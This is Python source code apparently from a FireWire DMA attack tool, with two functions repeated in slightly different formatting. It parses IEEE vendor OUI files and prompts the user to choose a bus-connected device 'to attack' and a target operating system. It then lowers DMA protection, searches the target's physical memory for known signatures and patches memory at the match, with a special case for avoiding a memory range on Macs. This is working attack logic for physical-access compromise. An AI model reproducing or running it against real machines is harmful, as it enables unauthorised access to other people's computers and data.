def init_OUI(self, filename=cfg.OUICONF): '''Populates the global OUI dictionary with mappings between 24 bit vendor identifier and a text string. Called during initialization. Defaults to reading the value of module variable OUICONF. The file should have records like 08-00-8D (hex) XYVISION INC. Feed it the standard IEEE public OUI file from http://standards.ieee.org/regauth/oui/oui.txt for a more up to date listing. ''' OUI = {} try: f = open_file(filename, 'r') lines = f.readlines() f.close() regex = re.compile('(?P<id>([0-9a-fA-F]{2}-){2}[0-9a-fA-F]{2})' + '\s+\(hex\)\s+(?P<name>.*)') for l in lines: rm = regex.match(l) if rm != None: textid = rm.groupdict()['id'] ouiid = int( '0x%s%s%s' % (textid[0:2], textid[3:5], textid[6:8]), 16) OUI[ouiid] = rm.groupdict()['name'] except IOError: warn('Vendor OUI lookups will not be performed: {0}'.format( filename)) return OUI
def init_OUI(self, filename = cfg.OUICONF): '''Populates the global OUI dictionary with mappings between 24 bit vendor identifier and a text string. Called during initialization. Defaults to reading the value of module variable OUICONF. The file should have records like 08-00-8D (hex) XYVISION INC. Feed it the standard IEEE public OUI file from http://standards.ieee.org/regauth/oui/oui.txt for a more up to date listing. ''' OUI = {} try: f = open_file(filename, 'r') lines = f.readlines() f.close() regex = re.compile('(?P<id>([0-9a-fA-F]{2}-){2}[0-9a-fA-F]{2})' + '\s+\(hex\)\s+(?P<name>.*)') for l in lines: rm = regex.match(l) if rm != None: textid = rm.groupdict()['id'] ouiid = int('0x%s%s%s' % (textid[0:2], textid[3:5], textid[6:8]), 16) OUI[ouiid] = rm.groupdict()['name'] except IOError: warn('Vendor OUI lookups will not be performed: {0}' .format(filename)) return OUI
def select_device(self): ''' Present the user of the option to select what device (connected to the bus) to attack ''' if not self._vendors: self.businfo() nof_devices = len(self._vendors) if nof_devices == 1: info('Only one device present, device auto-selected as target') return 0 else: poll('Please select a device to attack (or type \'q\' to quit): ') selected = input() try: selected = int(selected) except: if selected == 'q': sys.exit() else: warn('Invalid selection, please try again. Type \'q\' ' + 'to quit') return self.select_device() if 0 < selected <= nof_devices: i = selected - 1 vendor = self._vendors[i] # If the target is a Mac, and we are in memdump mode with the # --override switch set, make sure we don't touch OS X's g-spot if 'apple' in vendor.lower() and cfg.memdump and cfg.override: cfg.apple_target = True info('The target seems to be a Mac, forcing avoidance ' + '(not dumping {0:#x}-{1:#x})'.format( cfg.apple_avoid[0], cfg.apple_avoid[1])) return i else: warn('Please enter a selection between 1 and ' + str(nof_devices) + '. Type \'q\' to quit') return self.select_device()
def select_device(self): ''' Present the user of the option to select what device (connected to the bus) to attack ''' if not self._vendors: self.businfo() nof_devices = len(self._vendors) if nof_devices == 1: info('Only one device present, device auto-selected as target') return 0 else: poll('Please select a device to attack (or type \'q\' to quit): ') selected = input() try: selected = int(selected) except: if selected == 'q': sys.exit() else: warn('Invalid selection, please try again. Type \'q\' ' + 'to quit') return self.select_device() if 0 < selected <= nof_devices: i = selected - 1 vendor = self._vendors[i] # If the target is a Mac, and we are in memdump mode with the # --override switch set, make sure we don't touch OS X's g-spot if 'apple' in vendor.lower() and cfg.memdump and cfg.override: cfg.apple_target = True info('The target seems to be a Mac, forcing avoidance ' + '(not dumping {0:#x}-{1:#x})' .format(cfg.apple_avoid[0], cfg.apple_avoid[1])) return i else: warn('Please enter a selection between 1 and ' + str(nof_devices) + '. Type \'q\' to quit') return self.select_device()
def select_target(targets, selected=False): ''' Provides easy selection of targets. Input is a list of targets (dicts) ''' if len(targets) == 1: info('Only one target present, auto-selected') return targets[0] if not selected: poll('Please select target (or enter \'q\' to quit):') selected = input() nof_targets = len(targets) try: selected = int(selected) except: if selected == 'q': sys.exit() else: warn('Invalid selection, please try again. Type \'q\' to quit') return select_target(targets) if 0 < selected <= nof_targets: return targets[selected - 1] else: warn('Please enter a selection between 1 and ' + str(nof_targets) + '. Type \'q\' to quit') return select_target(targets)
def attack(targets): ''' Main attack logic ''' # Initialize and lower DMA shield if not cfg.filemode: try: fw = FireWire() except IOError: fail('Could not initialize FireWire. Are the modules loaded into ' + 'the kernel?') start = time.time() device_index = fw.select_device() # Print selection info('Selected device: {0}'.format(fw.vendors[device_index])) # List targets list_targets(targets) # Select target target = select_target(targets) # Print selection. If verbose, print selection with signatures info('Selected target: ' + target['OS'] + ': ' + target['name']) if cfg.verbose: printdetails(target) # Lower DMA shield or use a file as input, and set memsize device = None memsize = None if cfg.filemode: device = MemoryFile(cfg.filename, cfg.PAGESIZE) memsize = os.path.getsize(cfg.filename) else: elapsed = int(time.time() - start) device = fw.getdevice(device_index, elapsed) memsize = cfg.memsize # Perform parallel search for all signatures for each OS at the known # offsets info('DMA shields should be down by now. Attacking...') address, chunks = searchanddestroy(device, target, memsize) if not address: # TODO: Fall-back sequential search? return None, None # Signature found, let's patch mask = 0xfffff000 # Mask away the lower bits to find the page number page = int((address & mask) / cfg.PAGESIZE) info('Signature found at {0:#x} (in page # {1})'.format(address, page)) if not cfg.dry_run: success = patch(device, address, chunks) if success: info('Write-back verified; patching successful') if cfg.egg: sound.play('data/inception.wav') info('BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!') else: warn('Write-back could not be verified; patching *may* have been ' + 'unsuccessful') #Clean up device.close() return address, page